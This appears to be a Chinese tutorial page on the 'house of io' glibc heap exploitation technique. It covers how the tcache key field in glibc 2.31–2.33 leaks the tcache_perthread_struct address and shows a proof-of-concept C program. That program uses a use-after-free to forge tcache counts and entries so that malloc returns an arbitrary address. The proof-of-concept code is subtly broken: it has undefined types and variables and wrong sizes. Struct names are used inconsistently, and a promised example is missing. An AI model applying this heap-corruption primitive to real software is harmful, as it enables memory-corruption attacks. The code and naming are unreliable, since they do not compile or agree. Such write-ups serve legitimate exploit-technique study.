Skip to content

house of io

复制本地路径 | 在线编辑

一个短暂出现的攻击方式,在 glibc 的 2.31 到 2.33 中可以,算是对 tcache 中的 key 字段的一个考究。这是 key 字段的介绍文章

背景知识: tcache_pthread_struct

如下是 tcache_pthread_struct 字段的介绍,相信对 tcache 有一定了解就应该熟悉,以下是我认为需要知道的:

  1. 只有一个 tcache_pthread_struct,这里的 TCACHE_MAX_BINS 就是 tcache 的各种大小块的总类型数目;所以其中的如 entries[0] 就表示 0x20 大小的链表头部。
  2. TLS 中只存储一个指向 tcache_pthread_struct 指针,而这个结构体具体的内容则是存在 heap 空间中。
typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key;
} tcache_entry;


typedef struct tcache_perthread_struct
{
  uint16_t counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

攻击细节

在 glibc2.31 到 glibc2.33 中,key 字段居然就是用 &thread_pthread_struct 来表示的。所以如果我们知道 key 字段,其实就是知道 thread_pthread_struct 在哪里。这就是 house of io 的核心思想。

Step 1

如下,就是模拟的一种 Use after free,在程序中 free(ptr) 只会释放 ptr 指向的那个空间,这个空间会被放到 tcache 中,并且填入 nextkey 字段。

struct overlay {
  uint64_t *a;
  uint64_t *b;
};

int main() {
  struct overlay *ptr = malloc(sizeof(struct overlay));

  ptr->a = malloc(0x10);
  ptr->b = malloc(0x10);

  free(ptr);
}

free 前:

chunk #1 (ptr):
+------------------+
| a = 0x5555...    |
| b = 0x6666...    |
+------------------+

free 后:

chunk #1 (in tcache):
+------------------+
| next (encoded)  |  ← 覆盖原来的 ptr->a
| key = &tcache   |  ← 覆盖原来的 ptr->b
+------------------+

Step 2

如前所述,在 glibc2.31-2.33 中,key 字段就是指向 &thread_pthread_struct,由于上面那个程序我们能控制 ptr->b,那完蛋我们可以控制 tcache 了...

此时的 ptr 内存如下,其中 ptr->a 被覆盖成了 0x0(这个是 glibc2.31 版本,还没有 safe-linking),而 ptr->b 被覆盖成了某个地址。

0x5555555592a0: 0x0000000000000000      0x0000555555559010
0x5555555592b0: 0x0000000000000000      0x0000000000000021
0x5555555592c0: 0x0000000000000000      0x0000000000000000

这个 0x...9010 地址就是 tcache_pthread_struct,比如下面就是我们篡改了内容:

Step 3

然后我们就可以随心所欲的控制了:

unsigned long victim = 1;

typedef struct overlay {
  uint64_t *a;
  uint64_t *b;
};

int main() 
{
    struct hi *ptr = malloc(sizeof(ptr));

    ptr->a = malloc(10);
    ptr->b = malloc(10);
    free(ptr);

    // set count == 2
    uint64_t *a = ptr->b;
    *a = 2;

    // set entry address
    long int *z = (char *)a + 0x80;
    *z = &victim; 

    // get victim
    b = malloc(0x15);
    *b = 2; 
    printf("%d\n", victim);
    return 0;
}

终章

后来就如现在的样子,key 字段用到了 tcache_key,这是一个线程启动后生成的随机数,而不再是 &thread_perthread_struct

Comments